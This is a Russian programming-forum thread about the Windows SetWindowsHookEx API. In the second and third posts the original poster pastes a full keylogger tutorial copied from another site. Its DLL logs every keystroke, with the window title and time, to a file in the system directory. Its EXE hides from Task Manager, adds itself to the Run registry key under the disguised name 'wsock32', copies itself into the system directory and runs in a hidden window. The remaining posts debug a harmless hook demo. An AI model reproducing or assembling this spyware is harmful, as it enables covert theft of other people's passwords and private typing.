Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 19.01.2011, 00:58   #1
Dalt
Пользователь
 
Регистрация: 04.10.2010
Сообщений: 11
По умолчанию SetWindowsHookEx

Есть код dll'ки среда dev c++ как я понял для компиляции dll требует еще *.h . а может и не требует
PHP код:
//=========================================================================
//
//[C++]THE DLL:
//
//=========================================================================


#include "windows.h"
HHOOK hHOOK=NULL;
HINSTANCE hInst;

LRESULT __declspec(dllexport)__stdcall  CALLBACK KeyboardProc(
                                        
int nCode,
                                        
WPARAM wParam,
                                        
LPARAM lParam)

    if (
HC_ACTION==nCode)
    {        
        if (
wParam == VK_RETURN || wParam == VK_SPACE)
        {
            if (
wParam == VK_SPACE)
            {
                
MessageBox(NULL"SPACE DETECTED!!!""LOLOLOLOL"MB_OK);
            }
            if (
wParam == VK_RETURN)
            {    
                
MessageBox(NULL"RETURN DETECTED!!!""LOLOLOLOL"MB_OK);
            }
        }
    }
    
LRESULT RetVal CallNextHookExhHOOKnCodewParamlParam );    
    return  
RetVal;
}



int APIENTRY DllMain (HINSTANCE hInstance,
                      
DWORD  ulReason,
                      
LPVOID lpReserved)
{
    switch (
ulReason)
    {
    case 
DLL_PROCESS_ATTACH:
        
//save instance handle
        
hInst hInstance;
        
        
//set hook
        
hHOOK SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hInst,0);
        
        if (
hHOOK != 0)
        {
            
MessageBox(0,"hook is now... Hooked!","Woot",MB_OK);

            
//return succeeded
            
return 1;
            break;
        }
        else
        {
            
MessageBox(0,"Hook Failed!!","Failed",MB_OK);

            
//return failed
            
return -1;
            break;
        }
        
//return failed!
        
return -1;
        break;
    
    case 
DLL_PROCESS_DETACH:
        
        
//Unhook
        
UnhookWindowsHookEx(hHOOK);
        
MessageBox(0,"Unhooked!","Exit",MB_OK);
        
        
//Return FALSE
        
return 0;
        break;
    }
    
//return FAILED!
    
return -1;

................................... .......
dll.h такого содержания прекрасно компилируется но ясно не робит
PHP код:


#ifndef _DLL_H_
#define export extern "C" __declspec (dllexport)
#define _DLL_H_

#if BUILDING_DLL
# define DLLIMPORT __declspec (dllexport)
#else /* Not BUILDING_DLL */
# define DLLIMPORT __declspec (dllimport)
#endif /* Not BUILDING_DLL */



#endif /* _DLL_H_ */ 
Походу удаление из проекта dll.h никак не сказалось проблем с компиляцией нет ну и бог с ним
Код:
//=========================================================================
//
//[C++]THE LOADER
//
//=========================================================================


#include "windows.h"
#include "stdio.h"

int main(int argc, char* argv[])
{	 
	HMODULE hMod = LoadLibrary("DLLHOOK.dll");
	 	printf("DLL Loaded..\nEnter to quit...");
	 	getchar();
	FreeLibrary(hMod);
	 	return 0;
}
LOADER тож компилируется все круто но ниче не работает. С чего бы это?

Последний раз редактировалось Dalt; 19.01.2011 в 01:07.
Dalt вне форума Ответить с цитированием
Старый 20.01.2011, 09:52   #2
Dalt
Пользователь
 
Регистрация: 04.10.2010
Сообщений: 11
По умолчанию

Чтобы разобраться с SetWindowsHookEx воспользовался исходником cyberguru
PHP код:
Keylogger на Visual C++
Счас мы будем писать кейлогер на Visual C++, здесь будут успользоваться апшные функциитак что можно переписать на Delphiесли кого сильно препретто можно и на асме:)). Клавиатурный шпион у нас будет состоять из дополнительной dll и самой проги(exe-шника).
И таквот исходники дополнительной dll ks.dll:


#include "stdafx.h"
#include "ks.h"

HANDLE hmod;
HHOOK khook;
HFILE LogFile;
char LogFileName[256] = "ks.txt";//название лог-файла
char FullLogFile[256] = "";
char BufStr0[19] = "";
char BufStr1[200] = "";
char BufStr2[256] = "";
char OldAct[1024] = "";
LPSTR ActWin()//поца для определения активного окна
{
LPSTR ActW = new TCHAR[1024];
SendMessage(GetForegroundWindow(),WM_GETTEXT,1024,(LONG)ActW);
return 
ActW;
};
BOOL APIENTRY DllMainHANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
                    
)
{  
//если лог файл по адресу c:\windir\sysdir отсутствует, то создаем его
    
GetSystemDirectory(FullLogFile,256);
    
strcat(FullLogFile,"\\");
    
strcat(FullLogFile,LogFileName);
    
LogFile _lopen(FullLogFile,OF_WRITE);
    if (
LogFile == 4294967295)
    {
        
LogFile _lcreat(FullLogFile,4);
    };
    
_lclose(LogFile);
    
hmod hModule;
return 
TRUE;
}
LRESULT CALLBACK HksKeyProc(int nCode,WPARAM wParamLPARAM lParam)
{
    if (
nCode == HC_ACTION && !(lParam 0x80000000))
    {
       
//если нажата клавиша, то
        
GetKeyNameText(lParam,BufStr0,19);
        
//если ламак не тыкал на кнопочки в этом приложении, то его мы пишем в лог-afqk
        
char *Active ActWin();
        if (
strcmp(OldAct,Active) !=0)
        {
            
strcpy(BufStr1,"\nActive Window(TITLE) ");
            
strcat(BufStr1,Active);
            
strcat(BufStr1,"\n");
               
//вместе с датой и временем
            
char DateStr0[256] = "dd.MM.yyyy";
            
char TimeStr1[256] = "hh : mm : ss";
    
char DateStr1[256] = "";
    
GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));
strcat(BufStr1,"[");
strcat(BufStr1,DateStr1);
    
strcat(BufStr1,"] ");
            
GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));
            
strcat(BufStr1," ");
strcat(BufStr1,DateStr1);
    
strcat(BufStr1," \n");
            
strcat(BufStr1,"---------------------------------------------------\n");
            
strcpy(OldAct,Active);
        };
        
//пишем название нажатой клавиши
strcpy(BufStr2," ");
        
strcat(BufStr1,BufStr2);
        
strcat(BufStr1,BufStr0);
        
LogFile _lopen(FullLogFile,OF_WRITE);
        
_llseek(LogFile,0,FILE_END);
        
_lwrite(LogFile,BufStr1,lstrlen(BufStr1));
        
_lclose(LogFile);
        
strcpy(BufStr1,"");
    };
    return 
CallNextHookEx(khook,nCode,wParam,lParam);
};
//процедура для установки хука
void HksInit()
{
khook SetWindowsHookEx(WH_KEYBOARD,
        
HksKeyProc,
                            (
HINSTANCE)hmod,
                            
NULL);

};
//процедура для закрытия хука
void HksClose()
{
    
UnhookWindowsHookEx(khook);
};
Теперь нужно написать ks.h:
#ifndef KS_H
#define KS_H

#include <windows.h>
#include <stdio.h>

#ifdef __DLL__
#define DLL_EI __declspec(dllexport)
#else
#define DLL_EI __declspec(dllimport)
#endif
//---------------------------------------------------------------------------
extern "C" {
LRESULT CALLBACK DLL_EI HksKeyProc(int nCodeWPARAM wParamLPARAM lParam);
void DLL_EI HksInit();
void DLL_EI HksClose();
};
//---------------------------------------------------------------------------

#endif
Теперь создаем еще один проэкт для главного exe-шникаКидаем в него ks.h и ks.lib (нужно его добавить в библиотеки (Alt+F7)). 
Я некогда на VC только devc/wxDev не работал помогите скомпилировать на Visual C++ 2010 Express. Если можно по шагам
Dalt вне форума Ответить с цитированием
Старый 20.01.2011, 09:53   #3
Dalt
Пользователь
 
Регистрация: 04.10.2010
Сообщений: 11
По умолчанию

Вот листинг hks.cpp:
PHP код:
#include "stdafx.h"
#include "ks.h"
char szClassName[256] = "hKs10";
char szAppName[256] = "hKsv10";
typedef DWORD (WINAPI *PREGISTERSERVICEPROCESS)(DWORD,DWORD);
//проца для прятания от Ctrl+Alt+Del
bool RSP(double p1double p2)
{
PREGISTERSERVICEPROCESS rsp;
HINSTANCE hK32;
bool Rc=false;
hK32=GetModuleHandle("kernel32.dll");
if(
hK32!=NULL) {
rsp=(PREGISTERSERVICEPROCESSGetProcAddress(hK32"RegisterServiceProcess");
if(
rsp!=NULL) {
Rc=true;
rsp(p1,p2);
}
FreeLibrary(hK32);
}
return 
Rc;
}

LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//прячем от 3x клавиш
if(FindWindow(NULL,szAppName)) PostQuitMessage(1);
RSP(NULL,1);
//копируем ex-шник и дополнительную dll в %winsysdir%
    
char szValue [256] = "wsock32.exe";
    
HKEY pKey;
//прописываемся в автостарте
    
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&pKey);
    
RegSetValueEx(pKey,"wsock32",NULL,REG_SZ,(BYTE *)szValue,strlen(szValue)+1);
char WinDir[256] = "";
    
GetSystemDirectory(WinDir,sizeof(WinDir));
    
strcat(WinDir,"\\");
    
strcat(WinDir,szValue);
    
LPSTR lpFile = new TCHAR[256];
    
GetModuleFileName(NULL,lpFile,200);
   
    
CopyFile(lpFile,WinDir,FALSE);
GetSystemDirectory(WinDir,sizeof(WinDir));
strcat(WinDir,"\\ks.dll");
CopyFile("ks.dll",WinDir,FALSE);
//пишем дату записи в файл
    
char BufStr1[6666] = "";
char DateStr0[256] = "dd.MM.yyyy";
    
char TimeStr1[256] = "hh : mm : ss";
    
char DateStr1[256] = "";
GetDateFormat(NULL,NULL,NULL,DateStr0,DateStr1,sizeof(DateStr1));
strcpy(BufStr1,"\n---------------------------------------------------\n");
strcat(BufStr1," Write to file: [");
strcat(BufStr1,DateStr1);
strcat(BufStr1,"] ");
    
GetTimeFormat(NULL,TIME_FORCE24HOURFORMAT,NULL,TimeStr1,DateStr1,sizeof(DateStr1));
strcat(BufStr1," ");
strcat(BufStr1,DateStr1);
strcat(BufStr1,"\n");

    
char LogFile[256]= "";
    
GetSystemDirectory(LogFile,256);
    
strcat(LogFile,"\\ks.txt");
    
HFILE Log1 _lopen(LogFile,OF_WRITE);
    
_lwrite(Log1,BufStr1,lstrlen(BufStr1));
    
_lclose(Log1);

    
HksInit();

HWND hwnd;
    
MSG msg;
    
WNDCLASS wc;
    
wc.style 0;
    
wc.lpfnWndProc WndProc;
    
wc.cbClsExtra 0;
    
wc.cbWndExtra 0;
    
wc.lpszClassName szClassName;
    
wc.lpszMenuName NULL;
    
wc.hInstance hInstance;
    
wc.hCursor LoadCursor(NULL,IDC_ARROW);
    
wc.hIcon LoadIcon(NULL,IDI_APPLICATION);
    
wc.hbrBackground = (HBRUSHCOLOR_WINDOW;

    
RegisterClass(&wc);

    
hwnd CreateWindow(szClassName,
        
szAppName,
                        
WS_OVERLAPPEDWINDOW,
                        
2,
                        
10,
                        
70,
                        
100,
                        
NULL,
                        
NULL,
                        
hInstance,
                        
NULL);

    
ShowWindow(hwnd,SW_HIDE);
    
UpdateWindow(hwnd);
//обрабатываем сообщения
while (GetMessage(&msg,NULL,0,0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
    }
    return 
0;
}
LRESULT CALLBACK WndProc(HWND hwndUINT iMsgWPARAM wParamLPARAM lParam)
{
    switch (
iMsg)
    {
    case 
WM_CREATE:return 1;break;
        case 
WM_DESTROY:
            
HksClose();
            
PostQuitMessage(1);
            break;
    };


    return 
DefWindowProc(hwnd,iMsg,wParam,lParam);
};

ВсёТеперь это все можно запустить и прога скопирует себя B winsir\sysdir wsock32.exe и доп dll в windir\sysdir ks.dll
Dalt вне форума Ответить с цитированием
Старый 20.01.2011, 14:15   #4
yuran666666
Форумчанин
 
Аватар для yuran666666
 
Регистрация: 23.04.2009
Сообщений: 346
По умолчанию

Особливо доставило как 'не ламак' из второго поста использует RegisterServiceProcess в третьем. Автор труда для студии либо счастливый обладатель машины времени (и нажал не тот рычаг не в ту сторону), либо данная копипаста была сослоупочена с какого-нибудь форума последний пост на котором датируется прошлым веком.. или, в самом терминальном варианте развития событий, автор студийного исходника и есть слоупок
Для ТС- с виду из кода первого поста должно бы все работать.. иначе скорее в ВЛ85.. ой, то есть в ДебагМод.. ну или в с++ дев должон же быть юзермодный отладчик.
Нет, ну правда..
yuran666666 вне форума Ответить с цитированием
Старый 23.01.2011, 17:04   #5
yuran666666
Форумчанин
 
Аватар для yuran666666
 
Регистрация: 23.04.2009
Сообщений: 346
По умолчанию

кстати, попробовал скомпилить код из поста №1.. выходной код довольно чудовищен и управление на установку хука не приходит вообще. дллмайн срабатывает, длл_аттач приходит в нее, а вот управление на
hHOOK=SetWindowsHookEx(WH_KEYBOARD( HOOKPROC)KeyboardProc,hInst,0);
не передается. почему - спрашивайте компилятор
на сколько я знаю си
case DLL_PROCESS_ATTACH:
должна бы передать управление на функу установки хука идущую ниже.
такие дела
Нет, ну правда..
yuran666666 вне форума Ответить с цитированием
Старый 23.01.2011, 21:22   #6
Dalt
Пользователь
 
Регистрация: 04.10.2010
Сообщений: 11
По умолчанию

Спасибо. Действительно код как пример применения хука совсем не подходит. Услышал слух что консольное окно не принимает сообщений. возможно дело и в этом тож
Dalt вне форума Ответить с цитированием
Старый 23.01.2011, 23:27   #7
yuran666666
Форумчанин
 
Аватар для yuran666666
 
Регистрация: 23.04.2009
Сообщений: 346
По умолчанию

да там как раз в длл все дело. компилятор генерирует сотни какого то кода, чего то там какие то атомы ищет и пр. нафиг ему это-непонятно и в итоге управление на то, что указано не передается
вот маленький пример - все работает
Вложения
Тип файла: rar hook.rar (6.0 Кб, 132 просмотров)
Нет, ну правда..
yuran666666 вне форума Ответить с цитированием
Старый 24.01.2011, 18:07   #8
yuran666666
Форумчанин
 
Аватар для yuran666666
 
Регистрация: 23.04.2009
Сообщений: 346
По умолчанию

О! Суть такова, что из дллмайн конечно можно вызывать всякую шушару типа функции установки хука и прочего, но это чревато. В некоторые компиляторы вроде как ставится защита от выполнения в дллмайн всяких-разных опасных вещей, в частности-любых экспортируемых из других длл функций.
Если будет интересно, вот кой-какая статья
http://www.transl-gunsmoker.ru/2009/01/dllmain.html
да и помимо нее информация хоть немного, но есть по этой же теме.
Нет, ну правда..
yuran666666 вне форума Ответить с цитированием
Старый 24.01.2011, 21:46   #9
Dalt
Пользователь
 
Регистрация: 04.10.2010
Сообщений: 11
По умолчанию

Осмысляю потихоньку. SetWindowsHookEx в dll и сводит с ума компилятор.
Dalt вне форума Ответить с цитированием
Старый 25.01.2011, 07:49   #10
yuran666666
Форумчанин
 
Аватар для yuran666666
 
Регистрация: 23.04.2009
Сообщений: 346
По умолчанию

там всего лишь надо создать в длл экспортируемые функции установки и съема хука и вызывать их из управляющей программы
Код:
LRESULT __declspec(dllexport)__stdcall  _Unhook()
{
        //Unhook
        UnhookWindowsHookEx(hHOOK);
        MessageBox(0,"Unhooked!","Exit",MB_OK);
        return  1;
}

LRESULT __declspec(dllexport)__stdcall  _SetHook()
{
hHOOK = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,global_hInstance,0);
  {      
        if (hHOOK != 0)
        {
            MessageBox(0,"hook is now... Hooked!","Woot",MB_OK);
            return 1;
        }
        else
        {
            MessageBox(0,"Hook Failed!!","Failed",MB_OK);
            return -1;
        }
  }
}
в длл майн сохранять
global_hInstance=hInstance;
вообщем я попробовал-значение это в глобальной переменной сохраняться не захотело, соответственно и хук не ставится без этого значения, функа _SetHook была компилем нафига-то переименована в _Z8_SetHookv. Я впервые вижу эти ваши Dev C++, но я уже люто, бешено их ненавижу!!11 надо либо разбираться с настройками всего этого хозяйства, либо юзать чегонить типа студии - там и проще и кодес генерируется не столь похожим на гуано.. что стоит одно вот это
Код:
SUB ESP,18
MOV EAX,672411D0
MOV DWORD PTR SS:[ESP+C],ECX
MOV EDX,DWORD PTR DS:[67244020]
MOV DWORD PTR SS:[ESP+4],EAX
MOV DWORD PTR SS:[ESP],2
MOV DWORD PTR SS:[ESP+8],EDX
CALL 672418B0                            ; JMP to user32.SetWindowsHookExA
(выделение места в стеке под параметры функции и сохранение по средствам копирования в стек этих параметров вместо обычного push'инга, я не спорю можно настроить наверняка оптимизацию, но все равно - тьфу мля!!!11)
Нет, ну правда..

Последний раз редактировалось yuran666666; 25.01.2011 в 07:51.
yuran666666 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
SetWindowsHookEx не могу перехватить нажатие клавиши. flug Общие вопросы Delphi 0 10.12.2010 09:19
Получить ID процесса для setwindowshookex TwiX Общие вопросы Delphi 2 20.05.2010 20:00